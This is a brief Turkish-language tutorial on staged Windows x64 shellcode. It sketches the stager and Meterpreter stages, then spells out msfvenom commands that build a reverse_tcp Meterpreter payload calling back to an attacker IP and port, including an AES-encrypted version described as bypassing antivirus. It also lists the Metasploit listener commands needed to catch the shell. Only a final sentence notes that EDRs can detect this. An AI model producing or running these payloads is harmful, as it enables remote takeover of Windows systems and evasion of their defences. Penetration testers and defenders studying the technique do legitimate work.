Modern Shellcode - Windows x64 - Staged
Staged shellcode iki bolumden olusur: kucuk stager (Stage-1) ve buyuk asil payload (Stage-2). Stager, saldirgan sunucusuna baglanir ve Meterpreter payload'ini bellekte calistirir.
Staged Shellcode Mimarisi
[Hedef Sistem] [Saldirgan]
Stage-1 calisir -----> Metasploit Listener
Payload indir <----- Stage-2 (Meterpreter)
Stage-2 bellekte calisir
msfvenom ile Uretim
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f raw -o stage1.bin
# AES sifreleme - AV bypass icin
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
--encrypt aes256 --encrypt-key key123 \
-f raw -o stage1_enc.bin
Listener
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run -j
EDR Tespit
Staged shellcode'u modern EDR'ler reflective loading, API hashing ve syscall pattern'lerinden tespit eder.